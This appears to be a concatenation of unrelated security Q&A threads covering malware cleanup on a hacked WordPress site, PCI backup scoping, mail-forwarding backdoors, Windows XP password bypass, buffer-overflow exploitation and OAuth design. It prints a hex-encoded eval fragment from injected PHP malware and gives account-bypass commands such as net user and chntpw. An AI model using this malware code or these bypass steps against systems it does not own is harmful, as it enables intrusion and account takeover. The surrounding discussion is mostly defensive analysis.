Encrypted code in hacked wordpress site I have a customer who wants me to "restore" his Wordpress page. I looked a little bit deeper in the codes and found the following code a few times in different files:

http://pastebin.com/nL4i6t8x

I'm not an expert in IT Security but for me this looks pretty much as "encrypted" code that does not belong to Wordpress.

How can I analyze what this code does? I really need to know what it is before I can "clean" it. I'm interested to learn something about it so I'm very thankful for explanations what it is, what is does, where it (might) comes from and how to remove it.

Thanks in advance!

The best solution would be to use a local PHP server on a computer without Internet if you want to be safe.

Download PHP, put this text in a .php file, COMMENT OUT ALL THE PARTS YOU DON'T UNDERSTAND YET, and run 'php -S localhost:80' (or even better, take this version I cleaned a little)

Then just add 'echo $variable' to see what's going on, and uncomment lines when you think you understand what it does.

EDIT: This doesn't seem to be heavily obfuscated, the only lines you might be afraid of are the very last ones.

SECOND EDIT: The eval is in the hex string at the end

\x20\57\x2a\40\x67\146\x71\165\x79\157\x70\167\x78\171\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x31\63\x37\55\x31\60\x30\51\x29\54\x20\143\x68\162\x28\50\x36\60\x31\55\x35\60\x39\51\x29\54\x20\145\x64\161\x68\157\x61\161\x75\161\x70\50\x24\163\x67\152\x6b\160\x62\162\x71\144\x6f\54\x24\143\x72\151\x79\160\x6a\167\x6e\155\x69\51\x29\51\x3b\40\x2f\52\x20\141\x61\155\x72\151\x65\160\x74\167\x75\40\x2a\57\x20

"' /* gfquyopwxy / eval(str_replace(chr((137-100)), chr((601-509)), edqhoaquqp($sgjkpbrqdo, $criypjwnmi))); / aamrieptwu */ '"


Backup server categorization in the Open PCI Scoping Toolkit How are backup servers which host a copy of cardholder data supposed to be categorized according to the Open PCI Scoping Toolkit, given that the backup and storage guidelines from the PCI standards are already being met?

If I take the categorizes listed at face value backup servers need to be treated as category 1a. The repercussion would be that I couldn't backup my isolated class 3 servers from this backup server. If these files can be treated as files only and not as cardholder data proper the flow diagram makes more sense. Backup servers would be capable of being treated as a 2b device and capable of backing up category 1 and 3 boxes.

The second option sounds like more of what is intended in the reqs themselves since there is no mention of segregation in the primary requirements document, just that the backups be secured encrypted etc. It seems counter-intuitive that we'd need an independent backup system and tape library just for this so I'd love someones insight that has been doing this longer than I.

I can't comment, but can you elaborate on the categorizations? I don't wish to subscribe to the linked toolkit.  If you meet the backup and storage guidelines you need to consider the backed up data in the same context as the original data.  Who can access it from the backup server and storage.  Is the backup encrypted?  Are ACLs maintained?  Is there a large pool of backup admins that can access the backup data that were not privy to the same data in the original location?  It sounds like your question is asking about backup targets.  If you back up PCI and non-PCI data to a common target that target must meet all PCI requirements.  You should be able to use the same backup infrastructure, but partition out your media pools or targets.  You might need to set different policies with different sets of admins and jobs.  You might then be able to share your infrastructure.


How to secure an offline resource using offline software but with occasional server access? My application is a (Windows) desktop application that is required to operate fully offline. To enable this, I have a local data cache that keeps a synced copy of server data.

How can I secure this local data from any access other than my software?

I know that for fully offline software, this is impossible; any encryption aspects like key, salt, password, etc. that my software used would have to be embedded in the software itself, and this could be recovered from the executable.

But my application also has a requirement that it connects to the home server at least every 5 days for updates, during which time it could download anything.

Is there an algorithm that would allow the application to encrypt the data, using an encryption key that's downloaded every so often, based on information that only the server would know?

This is just as impossible for partially offline software as it is for fully offline software. For example, someone could image the computer on day 1, and then restore the image and set the clock back on day 5, repeating this process forever. Doing this reduces it to the fully offline case, which you already know is impossible. If you want to actually secure the data from the user, then you absolutely need to be fully online, and keep the data on the server.


How to find processes that are hidden from task manager I have read that you can hide processes from the task manager, example here

I've seen a few posts on hidden keyloggers using rootkit but that's it really.

Is there a tool or way to look at processes being run even though they have been hidden?

Sysinternals process explorer is your friend. This will show you more information than you're used to from Task Manager, including invisible tasks.


Outlook rule to forward all emails - is that a common scam? Recently we had a security problem. One email account which is based on MS Exchange 365 was hacked and the hacker forwarded all emails per rule to a Gmail account.

I checked all relevant PCs and I didn't find any viruses. And I changed the passwords. But in this case changing the passwords didn't change anything because the rule which forwarded all the emails also worked after I changed the passwords.
The forwarding only stopped once I discovered that such a rule was setup and then I deleted the rule.

How common is this hack? I never heard or read about it before.
It is also still a mystery for me how the attacker accessed the email account. Probably he stole the password somewhere but I can't figure out how.

In my professional experience, this is not a common step from "hackers".  However, I don't have any hard numbers to back that up, so I wouldn't take that statement as anything more than anecdotal evidence.
However, it's worth stating the obvious about why the hacker did this.  What it really comes down to is that the attacker used this, effectively, as a hidden backdoor to continue to maintain access even after initial discovery.  Indeed, this is what happened, as the attacker continued to get copies of all emails even after you reset the password on the email account.  Working on the assumption that this attack scenario is less common, it suggest that this might be a more targeted attack, which is worth further scrutiny.
The fact that the hacker took this additional step means that they were interested not just in full access to the account, but that they were also interested in read-only access to incoming emails.  There are three main uses I can think of for read-only access to a user's email:
1. Compromising further accounts
As long as they receive a copy of all emails, they can reset the password for any third-party accounts that the affected email address is registered with.  After all it usually just takes that "reset" link to reset a password, and if they trigger a password reset they'll get a copy of the link too.  They will no longer be able to delete the reset email in the original inbox, which might cause suspicion, but that won't stop them from resetting account access anyway - it just might mean they get caught quicker.
If you found out about the hack because the attacker used their access to break into other accounts, then this forward rule may simply be an attempt to extend their access and allow further "damage" even after the initial discovery.  This is probably the least-painful scenario (for you).
2. Intercept business transactions (aka Mandate Fraud)
One scam I have heard of is attackers intercepting legitimate business transactions by having access to internal information from the billing team, typically for larger transactions.  To pick a random example, imagine you were a roofing company and the person who owns this email address is on the billing team.  They email a customer a $15,245.36 invoice and instruct them to send a check to your office.  The hacker sees the same email and follows up to the customer a couple hours later with a spoofed email from the same email address (but with a different reply-to) that says, "Oh wait, there was a mistake in my last email.  Please send that $15,245.36 to this address using this other payment method".  This can be a very effective scam.  By spoofing the same email address and injecting themselves into the conversation with full knowledge of the details of the transaction, it can be very easy to convince the person on the other end to simply do as instructed without even raising any red-flags.
If the email address belonged to someone on your accounting team, I might be worried about this kind of situation - such attacks definitely do happen.
3. Good old fashion snooping
It could be that the person wanted to have access to otherwise privileged information.  This might be the case if, for instance, the compromised account belonged to someone in upper management.  One example would be a lower level employee that had brief an unsupervised access to the managers computer.  If the machine was left unlocked they could easily launch outlook and setup a forwarding rule in (probably) 30 seconds with practice.
I mention an employee simply because they are probably someone more likely to be "generally" interested in someone's emails without necessarily having a specific goal.  While such an attack can generally be very easy to perform in an office environment, it's also obviously a bit risky, so it isn't on the top of my list of possibilities.
Summary
All this to say: personally I think this is less common, so I would be concerned that the attacker had a specific goal in mind for this particular account.  I could be overly paranoid though.  What this means is that it is worth considering exactly what an attacker might have to gain by continuing to have read-only access to this particular user's account.  If they are someone with access to sensitive information about your company, I would be more worried.


How much faster does a GPU or FPGA crack an RSA key compared to a CPU? Are there any significant speed up in time on cracking an RSA key (either brute-force or factoring with general number field sieve) using a GPA or FPGA compared to a CPU? If there is a speed advantage, are there any figures on how much it is?

FPGAs are not like CPUs or GPUs, and cannot be compared like that. Your question lacks sufficient details to provide a meaningful answer.
FPGAs come in wildly different sizes and offers paralellism only limited by the logic resources of the FPGA.
A giant €100000 FPGA will have way way more logic resources than a €1 FPGA.
There are no €100000 GPUs or CPUs.

You must include other metrics to make a meaningful performance comparison. Like investment cost, power usage, implementation effort, and so on.

If you want a hint of high end FPGA capability: Some of largest FPGAs available can do up to 5-10 trillion multiplications per second.


WPA/WPA2 networks without passwords From my current understanding, WPA networks use a network's SSID and password to produce a PSK (pre-shared-key), which encrypts/decrypts communications between the router and the client before a new key can be negotiated.
If a router does not have a set password, does this mean that the key negotiation between the router and the client is not encrypted?

The minimum allowed password length for WPA2-PSK is 8 characters. So APs that don't have any password (or other form of authentication) are actually open. They use no encryption at all.
In fact, the 4 way handshake is never encrypted. HMAC-SHA1 is used to prove that both parties know the PMK, but the ANonce, SNonce and MAC addresses are always transmitted in clear.


Two ways of generating the IV I'm looking at some code, and in a particular scenario, the code would need to generate two IVs.

The second IV-generating code simply uses the C# Rijndael GenerateIV()

The first IV-generating code though takes part of the MAC address and part of the current time and inserts pieces of these data into a 16-byte array.

In both pieces of code then, the generated IV is then processed a constant X amount of times by getting the hash of the IV, and then getting some random bytes and re-hashing.

Questions:

Do you see any advantages in having two ways of generating the IV?
Is the post-IV generating hashing necessary or overkill? - and is it
something standardized or some obscure idea?
Could there be any scenarios or configurations in which the GenerateIV function not provide random data?

Notes:

These IVs are intended to be used in encryption
CipherMode is CBC

A secure pseudo-random number generator (CSPRNG) is about as secure as you are going to get. Both of the references you point to are CSPRNGs so either should be sufficient for an IV. Hashing doesn't make random more random. Using two different mechanisms makes no sense and doubles the chance of making a mistake.

In the case of GenerateIV, things are already random so the subsequent hashing and addition of more random data doesn't help.

The use of the MAC address and time to create the initial array seems rather pointless as both of them are far from secret. If the computer's MAC address is known to an attacker and the time, they can quickly guess the exact time stamp. So all of the randomness from this IV creation comes from the from the random bytes added at the end. Perhaps that is sufficient, I can't tell without seeing the actual code.

Note that, according to Kercckhoff's principle, there is no added benefit obtained by using a secret algorithm.

My advice is to simply use the data from GenerateIV as your IV and to do this in all cases.


How important is the JWKS endpoint in OpenID Connect? Our security is changing, so I'm updating an Angular SPA application to use OpenID Connect. I found a nice library to help set things up. However, I've run into an issue where it tries to access the JWKS endpoint unsuccessfully; it's blocked by CORS even though my application has been whitelisted.

Neither I nor my cyber security counterparts are able to explain the issue. Please assume we've configured both ends correctly.

The recommendation I received was to switch to a library that didn't require that endpoint (in other words, skip the JWT validation). I'd most likely switch to this one; apparently another application is using it successfully.

From what I can tell, the JWKS endpoint is used to verify the authenticity of tokens. Dropping it makes me a little uneasy.

What security risks does this open us up to? Should I push back on this?

OpenID uses JWTs to provide access and ID tokens. These JWTs tell us everything we need to know for those tokens. However, you need to trust the JWT. And to do this you must have the public key available from a source other than the JWT. You can:

Get the public key from the JWKS (.well-known/jwks.json) endpoint.
Get the public key from some other trusted location. This other location can be a database, configuration file, something reasonable.

From the perspective of validating the token, I have not heard of any issue with validating a JWT against a public key found elsewhere.

However, you want to be able to rotate your public key if need be, since the corresponding private key is critical to securing the JWT tokens. If you take option #2, you risk having public keys scattered all over the place that would make it harder to update all the public keys. So if you take route #2 you want to be sure you can rotate your keys.

Also, if the OpenID Connection provider is outside your control, they could change their keys and you wouldn't necessarily know.

The Signatures and Encryption section of the OpenID spec says:

  The OP advertises its public keys via its Discovery document, or may supply this information by other means. The RP declares its public keys via its Dynamic Registration request, or may communicate this information by other means.


What to do if you still have SMBv1 running on your network? I was looking into the network traffic at our company while preforming a security audit and I found that we still have a server running SMBv1 on the network.

The server is a Windows 2003 Domain Controller and is also used as the file server for the company. As far as I can tell SMBv1 is being used to handle the login functions from users machines so that they can access the file server. When I create a firewall rule on the server to block all SMBv1 traffic it makes it so that no one can log on to the file server.

I have advised that we upgrade the domain controller and file server to a newer more secure platform however I know that this is not going to happen for some time. In the mean time I was wondering if there was a way that I could disable SMBv1 on the server and use a different more secure protocol instead to handle the login functions. Is this an option or do I just have to wait for the hardware to be upgraded.

The real fix

First of all, I would strongly recommend to only focus on convincing the decision makers that it is very irresponsible to continue the use of Windows Server 2003 in production environments. The easiest way to do so is to point out their responsibility and liability and the potential risks. Clear that out and ask them if they really want to accept those risks, probably not! They likely just don't understand the risks.

Additionally, convince them with plenty of different reasons, most importantly:

  Microsoft ended support for the Windows Server 2003 operating system on July 14, 2015. After that date, this product will no longer receive: Security patches that help protect PCs from harmful viruses, spyware, and other malicious software.

Also, if I'm not mistaken Ransomware like WannaCry and Petya exploited SMBv1. It got plenty of media attention to underline your statement.

Upgrading or migrating should get serious priority and (time) budget in order to fix the underlying issue here.

The best of the worst

Or, "the unrealistic and terrible workaround". If you are sure you tried everything in your power to convince them why it's a terrible idea to continue the use of Windows Server 2003. This goes against all my principles and hurts me to say but... make the best of the worst. I think you might be technically able to install and enable SMBv2 or even SMBv3 after which you can disable SMBv1 (probably server-side as well as client-side).

But, this is a path you really don't want to go. As far as I know, their is no official support for SMBv2 and v3 in Windows Server 2003 since it's end-of-life. But if you do manage somehow (first of all respect for your technical skills) secondly, now you have a new SMB version in place and can disable SMBv1 as well as block possibly SMBv1 traffic in the firewall. You probably need some kind of advanced firewall since I think SMB is using the same network ports for v1, v2 and v3. So basic firewall ruling is probably not gonna get you anywhere.

But again, you probably have more or other issues to worry about than disabling SMBv1 when you run Windows Server 2003.

Lastly, if the server was only used as a fileserver, you could maybe look into SMB alternatives like NFS. But that's not ideal for Windows servers (and clients).


How to exploit buffer overflow without space after return address? I'm working on a binary exploitation challenge where the target (ELF/x86_64) has stack canaries, NX and PIE enabled. It implements a simple forking TCP server. After a connection is established, it reads up to 0x420 bytes from the socket into a buffer of 0x400 bytes. When this data starts with a certain string, and sends a reply back before closing the socket.

As far as I can see, the above buffer overflow is the only vulnerability in the program.

So far, I've been able to brute force the stack canary, saved rbp and return address by overwriting them one byte at a time and checking if the server still sends a response.

My problem is that I can not find a way to exploit this overflow. Because of the stack layout, the return address is all the way at the end of the overflow buffer, which makes it impossible to set up a regular ROP chain.

I thought about adjusting rsp to the start of the writable buffer, but can't find a gadget that does that...

You could deliver a sizeable package with your first request and then craft an smaller exploit to hunt for it in regular memory, see 'egghunters'.


How to bypass password on Windows XP account? I have an old ThinkPad R40 family laptop running Windows XP lying around and there's an account on it that has a password and it gave me a hint and I put everything I could possibly think in there and no luck. Is there any way to bypass the password?

You can boot in safe mode an then try to reset the password.

Once you enter in safe mode you can go to Control Panel > User Account > Change Account.
Or in a command line window and type the

net user [account name] [new password]

e.g:

net user administrator password

If that's not possible, you can use a Linux live CD and boot with it. Mount the windows drive and use the chntpw to change the password.

sudo chntpw -u "USER NAME" SAM


Redirected to non-HTTPS facebook home page while visiting torrent site I was visiting a sketchy but useful torrent site forum i've used before to find a patch (i know, bad idea) for an old game. Popups are frequent while browsing the forum, but NoScript and Ublock Origin usually block them and close them right away. This one however, redirected successfully to my facebook home page, already logged in, but without HTTPS. I closed it right away, and changed my password using the same browser. here's the redirect order (Do not click unless you know what you are doing):

http://quicktask.xyz/?auction_id=18dc01a2c186988&zoneid=858740&pbk2=35202933d2dd7ed48464d1558dfa28ad6377888537279744678&r=%2Foc%2Fhan%2Ftomb&uuid=fc8e1b3b-6c9e-4d04-af11-d833a49b6736&fs=1

http://wadogo.go2cloud.org/aff_r?offer_id=1552&aff_id=4153&url=http%3A%2F%2Fwww.facebook.com%2Fcampaign%2Flanding.php%3Fcampaign_id%3D736960129747539%26partner_id%3Dinmobi%26placement%3D1f9ba3b35db247cdbaddd10ddf0286ca%26extra_1%3Dwadogo_facebook_726_1021850cf0707867ba938988fc320d%26creative%3D57f46e627d3b4da599aaea9382f36f06%26extra_2%3D4153&urlauth=415746420673275776969747118601

http://www.facebook.com/campaign/landing.php?campaign_id=736960129747539&partner_id=inmobi&placement=1f9ba3b35db247cdbaddd10ddf0286ca&extra_1=wadogo_facebook_726_1021850cf0707867ba938988fc320d&creative=57f46e627d3b4da599aaea9382f36f06&extra_2=4153

Would this redirect to my FB page already logged in gain access to my account, and should I take any further action beyond changing my password?

Any website can redirect to any other website, and that's not a vulnerability. The place you would have to worry is if merely visiting a particular url takes an action on your account - in essence, this is what a csrf attack is. Given Facebook's popularity and large technology budget, it is fairly unlikely you will be victim of a csrf attack on their site. However, if you are, it's unlikely to have revealed your password - it's more likely to have added a friend, followed a page, clicked on an ad, etc. You can peruse your activity log to review this.


Which digest algorithm to use with creating a public/private key pair I'm generating a Public/Private key pair in PHP with the following:

<?php
$config = array(
    "digest_alg" => "sha512",
    "private_key_bits" => 4096,
    "private_key_type" => OPENSSL_KEYTYPE_RSA,
 );

// Create the private and public key
$res = openssl_pkey_new($config);

// Extract the private key from $res to $privKey
openssl_pkey_export($res, $privKey);

// Extract the public key from $res to $pubKey
$pubKey = openssl_pkey_get_details($res);
?>

But I'm doubting about what to choose for the digest_alg variable. What is the 'best' to use here? Where can I choose from? And last but not least, what does it do?

digest_alg is not used by openssl_pkey_new() but by openssl_csr_new(): the latter creates a public/private key pair and wraps the public key into a certificate request, which is self-signed (with the newly generated private key). That signature involves using a hash function, hence the parameter.

openssl_pkey_new() entails no signature and thus has no need for a "hash function" parameter.

For openssl_csr_new(), your sensible choices are between SHA-256 (robust, recommended, efficient) and SHA-1 (theoretically less robust, no longer recommended, a bit faster, and, more importantly, supported everywhere). IE 8.0 on Windows XP (with all updates) supports SHA-256 for certificates (I have tried it yesterday), so I incline to assert that SHA-256 is now sufficiently well supported that it can be recommended "by default".


Why does file traversal not working in this PHP file upload code? I am using this script to upload file to the system with apache2 as server and php7.
If I provide filename as ../../../../tmp/data.png of uploaded file, then also the file gets uploaded to /var/up/data.png.
<?php
    $errors = []; // Store errors here

    $fileName = $_FILES['the_file']['name'];
    $fileSize = $_FILES['the_file']['size'];
    $fileTmpName  = $_FILES['the_file']['tmp_name'];
    $fileType = $_FILES['the_file']['type'];
    $fileExtension = strtolower(end(explode('.',$fileName)));

    if (isset($_POST['submit'])) {

      if ($fileSize > 4000000) {
        $errors[] = "File exceeds maximum size (4MB)";
      }

      if (empty($errors)) {
        $didUpload = move_uploaded_file($fileTmpName, "/var/up/". basename($fileName));

        if ($didUpload) {
          echo "The file " . basename($fileName) . " has been uploaded";
        } else {
          echo "An error occurred. Please contact the administrator.";
        }
      } else {
        foreach ($errors as $error) {
          echo $error . "These are the errors" . "\n";
        }
      }

    }
    else{
        echo "Bruhh!";
        }
?>

I don't understand why is this happening?

The script calls basename on the $filename variable, which returns just the file portion and strips out the directory path.
$didUpload = move_uploaded_file($fileTmpName, "/var/up/". basename($fileName));

So if $filename is ../../../fname, then basename($filename) will be fname.


Which CTF Penetration Test? Possible Duplicate:
  What “hacking” competitions/challenges exist?

I want to test my penetration test skills.And i solved a few CTF.But it is not enough.I want to solve more ctf test.

Please advice me.

OWASP has a couple of very interesting resources of this kind:

Hacme Bank: a banking application built with some vulnerabilities for you to find and try to exploit
The WebGoat Project: web application with several vulnerabilities. Every possible attack is explained in a specific lesson, so that you can concentrate on one technique at the time


Using password hash as session ID? For a rich client web app, on the server I need to verify that each call comes from a legally logged in user. Obviously user ID is not enough, because that's easy to guess.

I have an idea I am skeptical about, but can't think of rational reasons not to do it.

Is using password hash protected with a sufficiently strong hashing function (bcrypt?) a good session identifier?  It already is in DB, is unique for each user and cannot be guessed easily.  I am using a secure channel (HTTPS) for all communications between the client and server, so I don't have to worry about eavesdropping on the session identifier.

I don't care about session expiration, state or being logged in from two computers at a time. The server app is stateless enough. All I really need is user ID and some extra means of verification that he has logged in properly.

One problem you could have with this kind of setup is, from what you've said, it looks like the session token would be static (ie for a given user, it never changes, until they change their password).  As such if an attacker manages to get access to a token for a given user (trojan, keylogger, packet sniffing (if SSL isn't used) etc), they will have persistent access to the application.

Also you'd need to be more careful than usual to ensure that session tokens aren't logged anywhere server-side as they'd essentially be as good as passwords.


Use TLS certificate as both server and client? For a federated server-to-server protocol with domain-based identities, I am thinking of using TLS client certificates as authentication mechanism. I figured that re-using each peer's TLS server certificate as client certificate for connecting with other peers would be the simplest approach to implement this.

However, I am not sure if this double usage of a single TLS certificate can be considered secure. Do any special risks arise from using a single certificate as both a server and client certificate, similar to how using a private key for both signing and encrypting is problematic? I want to avoid creating a serious security problem out of mere convenience.

This scheme is often used for sendmail (MTA) and OpenVPN. It is decent, and I have until now only found one pitfall:

On the/each server, you have to carry a whitelist for:

the allowed CA (possibly, but doesn't hurt)
the allowed clients

How to specify the clients is up to the specific software. I'd recommend specifying their CN (commonName) and requiring that the presented cert is ① otherwise good and ② signed by the CA specified.

I'm implementing SSL client certificate-based SMTP relaying with this (beats SASL any time of the day, IMHO: the mailers (MUA) send to localhost, and localhost uses their (official) cert to connect the the smarthost, which uses that cert to permit relaying). OpenVPN setups with this are not very common (most people just whitelist one hand-made CA and permit all certs signed by it) but still in use (i.e. not rare either).


Is a router without inbound firewall a security issue across the internet? Imagine this scenario: Alice has a private subnet (192.168.1.0/24) connected to a router which is also connected to local network B. Alice's router performs NAT (only using MASQUERADE; outbound traffic will have the router as its source address), but there is no port forwarding or additional firewalling. Mallory's computer is also connected to network B and knows about Alice's configuration.

If Mallory adds a route to her computer (i.e. 192.168.1.0/24 via Alice's router), she is able to run nmap scans of Alice's internal network since Alice's router will happily forward the traffic to the internal subnet.

Dave is on a remote network (one or more hops away) and knows about Alice's configuration. However, none of the intermediate routers between Dave and Alice's router know of the route to her internal subnet (since it is a private range, network infrastructure may be configured to drop it anyway, but let's ignore that for now), so it cannot be scanned in the same way Mallory did.

Given the exact scenario above and no other assumptions, is there any way for Dave to scan Alice's internal network or otherwise abuse this configuration even though the routing doesn't work out?

Edit: The "router" in this example would be a *nix machine configured with net.ipv4.ip_forward=1. The question is based on a configuration I have observed and tested.

... a router without a firewall ...  using MASQUERADE

Masquerading is not a routing functionality because it changes the source of the packet. Instead you actually need a stateful firewall to do the masquerading. Which means that if masquerading is involved you must also have a firewall there. This of course says nothing about the configuration of the firewall, but it contradicts your assumption that you have a router without firewall.

  ... since Alice's router will happily forward

Since the router/firewall is doing MASQUERADE for traffic from inside (Alice private network) to outside (i.e. network B and further) it can only forward traffic from outside to inside for which an active NAT rule exists. Any packets from outside for which no such rule exists will be discarded. Thus no happy forwarding will be done and no forwarding will be possible.

In theory you could probably define rules where packets from a specific subnet will not go through the NAT but go directly into the other network but this would be some unusual non-standard configuration.


Why *is* PKCE recommended for single page JavaScript apps? This question is essentially the opposite of Why isn't PKCE encouraged for Single-Page Apps?.

In recent years, most OAuth API vendors seem to be have become unanimous in recommending that JavaScript apps without a server backend (a.k.a. SPAs) use a proof-key-for-code-exchange grant flow (PKCE, as documented here).

What I'm curious about is why that change came about.

It's easy to understand why PKCE is needed in native apps, where things like custom URI schemes are used to collect access tokens, which is a vector for token leakage when any app on your OS can potentially register itself as a handler for your URI scheme.

But what are the weaknesses in a browser app? Referer headers? Extensions? History leakage? Some other vector I haven't thought of but which evil hackers will swoop in to exploit mere minutes after my site goes live?

(For the record, I have no particular aversion to using PKCE, I'm just really interested in the security context and would like to get better at reasoning about weaknesses in front end applications)

PKCE ensures that the client which requests a token is still the same one which started the authentication request.
Beside a malicious extension, this Draft also names the risk of CSRF which is avoided with PKCE:
https://tools.ietf.org/html/draft-ietf-oauth-browser-based-apps-05#section-7.1
You shouln't accept an attackers auth code on your SPA redirect URI. This would establish the use of the attackers resources at the victims app session. The victim could enter secret data stored at the attackers resources.


Can DirBuster list all website links or information displayed on a static website? I am in the process of looking for a specific keyword on a particularly large website with lots of pages. I'm thinking I'd have better luck if I have a way to see the links within the website.  If I want to see all links under a website, for example: company.com/1, company.com/2, company.com/3, etc. will DirBuster be able to pull this information? The website is static if that matters.

At its core, dirbuster takes in a list of common URLs, and tries them.

Also, while it's trying URLs from its wordlist, it has functionality to parse returned HTML content and add those URLs to the list.

So to your question

  I want to see all links under a website. Will DirBuster be able to pull this information?

If the website has HTML links to all its pages, then DirBuster might be able to figure that out, but otherwise dirbuster is only as good as the wordlist that you feed into it.


How can application like Whatsdog detect user online status from Whatsapp? Whatsdog detects whether your victim is online or not. What are they doing in the background? We know that Whatsapp does not provide any API or SDK for this, so how can anyone monitor this type of sensitive activity?

It's actually by an undocumented API from whatsapp and you can communicate over Websockets to get the online status of people.

This article will show you how it is done and even provide a PoC for it to run in your own browser. So this PoC can be modified to be a PC application or a smartphone app.


Is HTTPS required for local network server to server communication I am building web applications for my customer's company. At the server side, there will be 2 kinds of server to server network communication.

Separated REST API servers making requests among each other.
Communication from application load balancers (AWS ALB specifically) to their auto-scaling EC2 instances.

Currently all of these communications use HTTP protocol. Only the user-facing nodes (such as the load balancer or the web server reverse proxy) will serve HTTPS with valid certificates.

The customer ask us to change them all to HTTPS as thet believe that it is the modern best practice to always use HTTPS instead of HTTP anywhere.

I would like to dispute with the customer but I am no security expert. Please help review my understanding below and correct me if I am wrong.

In my view, I think the purpose of HTTPS protocol is for being a trusted channel in an untrusted environment (such as the Internet). So I cannot see any benefit of changing the already trusted channel to HTTPS. Further more, having to install certificates to all servers make it difficult to maintain, chances are, the customer will find their application servers broken someday in the future because some server has certificate expired and no one know.

Another problem, if we have to config all the application server, apache for example, behind the load balance to serve HTTPS, then what is the ServerName to put inside the VirtualHost? Currently we have no problem using the domain name such as my-website.example.com for HTTP VirtualHost. But if it were to be HTTPS we have to install certificate of my-website.example.com to all instances behind the load-balancer? I think it's weird because then we have many servers claiming to be my-website.example.com.

The answer to your question comes down to threat modeling. Using cryptographic protocols like HTTPS is a security mechanism to protect against certain threats. If those threats are relevant for you, must be analyzed:

Are there potential threat actors in your internal network? Based on your question you seem to assume that the internal network can be fully trusted. This is often a misconception, because there are several ways your internal network can be compromised (e.g. valid users with access to this network are turning malicious, a systems in this network gets compromised, a misconfiguration opens up the network segment, etc.).
Will the architecture be subject to change? It is likely that the system will change over time and prior security assumptions (e.g. my internal network is trusted) no longer hold. If that's a reasonable scenario, it might be a good idea to build the necessary security mechanism in in advance. That's what security best-practices are for. Providing security in an area of uncertainty.
Is there a regulatory, legal or compliance requirement that must be fulfilled? You said that your customer considers HTTPS to be state-of-the-art / modern best-practice. The source of this friendly worded statement might actually be an externally driven requirement, that must be fulfilled. Non-compliance is a threat that should also be covered in a threat analysis.

Those are important topics worth analyzing. When I design system architectures and I am in doubt, I prefer to err on the side of security. In this case the best-practice approach is indeed using HTTPS for communication, no matter the circumstances, as long as there are isn't a considerable impact on the application (e.g. performance impact).

Difficulty to maintain server certificates shouldn't be a problem nowadays, as this is common practice. This should be part of normal scheduled operations activity.

Having said all this, there is of course additional effort required to use HTTPS instead of HTTP and it is your right to charge the customer for this additional effort. I suggest you calculate what this will cost during development and over time during operation and let the customer decide if the cost is worth the benefit.


Why do CDNs allow arbitrary backend to be set, is it not a big security concern? I found most CDNs allow the user to claim any domains to be the backend, I wonder why they do this instead of verifying if the user owns the backend domain. If I have myowndomain.com and set the backend to be facebook.com, wouldn't it be an easier way to do attacks such as phishing? Of course, I still need to solve CORS, SOP, and Cookie related issues, but why do CDNs open the backend at the first place?

... why do CDNs open the backend at the first place?

Anyone can already setup their own domain without a CDN so that it works as a proxy to another domain. A simple hosting service or VPS is needed for this and sometimes even a simple CNAME will do. Thus if a CDN allows this it essentially makes only available what is possible otherwise too.


passwords database - access control and/or synchronization so, we've got a ton of passwords that several different administrators need to have access to, each with their unique password/key/user/whatever...
it needs to be either centralized, or the passwords database need be synchronized between all admins.
any simple suggestions for a solution here?
most machines operate on either RH/CentOS or OpenBSD...

Depending on your threat / work model, LastPass Enterprise might be exactly what you're looking for. It's a web-based password management service, allowing access from pretty much anywhere that has an internet connection. As long as you've got a browser, you should be able to get at the site. It might even work with ncurses-based browsers if you're lucky!

Features:

Shared password management.
Random password generation.
Passwords encrypted on the server, unlocked by user passwords.
Detailed access reports.
Easy revocation of access.
Various export formats, including CSV, in case you ever want to import the passwords into a local repository like KeePass.

At time of writing, prices are 24 USD per year for an enterprise account that gives you up to 100 users, and they offer a free trial.


Storing third party API tokens in a database Currently I have a Node JS project that uses the Spotify API. The project displays the users top played artists and tracks. I am following the Authorization Code Flow to obtain the access token. This access token will be used to query certain endpoints to obtain a JSON response of the data that will be used for my project. This token lasts an hour. I am currently storing this access token in a cookie and using this cookie to make new requests.

My question is is this acceptable from a security standpoints? This token does not have the ability to change any of the users profile settings or read sensitive data. However, if another person were able to obtain this token they could use this to see another user's data. Or would it be more secure to store this access token in a database an query the database for access tokens whenever need?

I developed a similar application that had to interact with the Spotify API, and the approach to store the API tokens will depend on your threat model. In my application we decided to maintain the token in a configuration file that will be present only on the server (therefore excluded from any source code repository).

In the scenario I described only specific application related users have access (read/write) to the directory where the configuration file is stored. In my threat model I accept the risk (that I considered Low) of a malicious adversary to access my server, escalate privileges to the specific application user, to steal my API credentials.

I hope this clarifies to you how we should think of such scenarios, and that if it's "safe" or not, depends solely on our threat model, and the risks we assume.

Storing an API key in a database could be safe if the proper security measures are configured for it (access control, encryption, archiving), however this is only speculation from my part since I do not have the technical reference of how the mentioned database was configured.


Can I add a new user to an unencrypted Windows installation from a Windows installation disk? I recall hearing this before, the ability to boot up a Windows PC with an unencrypted hard drive using an installation disk/usb, and use the command line utility on the Windows installation disk to add a user.

This is an obvious attack vector because somebody could use this to add an administrative user, install spyware, and remove the user without the owners knowledge as long as they had unattended physical access to the machine.

Is this a realistic threat?

Law #3: If a bad guy has unrestricted physical access to your computer, it's not your computer anymore. (https://technet.microsoft.com/en-us/library/hh278941.aspx)

This is definitely a realistic threat. The question is whether you need to worry about it. If you can't guarantee that someone will not have unfettered access to your PC then you should be concerned and mitigate. This is likely the normal scenario.

If the PC is in a secure location where people don't have access to it, then it might not be necessary to worry about it.


Why would a virus writer bother to check to see if a machine is infected before infecting it? I was looking at the tripartite structure of a virus, and it seems to check to see if a computer is infected before infecting it with the virus. Would this be an attempt to use files that are already present to infect, instead of transferring another copy of the virus onto the machine?

The goal of most malware is to remain active as long as possible. The longer it can collect keystrokes, participate in DDoS attacks, redirect search results, send spam emails, shows popup ads, etc., the more profitable it is for the creator. To reach this goal, it has to be undetected.

If a piece of malware infects a machine twice, it may leave the machine in an undefined state, or cause conflicts. It may also eat up more resources than normal. This can lead to detection through a variety of operations:

Attempting to lock the same file twice, causing a crash.
Injecting into running processes twice, causing memory corruption and crashes.
Infecting the same file twice, causing it to be corrupted.
Attempting to install multiple hooks on the same APIs / objects / system messages, causing erratic or undefined behaviour.
Increased CPU, network and disk usage from the burden of having multiple copies installed.

The less resources used and the less disturbance caused, the less likely the user is to notice something is wrong. Once a user notices something isn't working properly, they'll try to fix it, which might result in the malware being removed. As such, it's better for the malware creator to prevent these problems and remain covert.


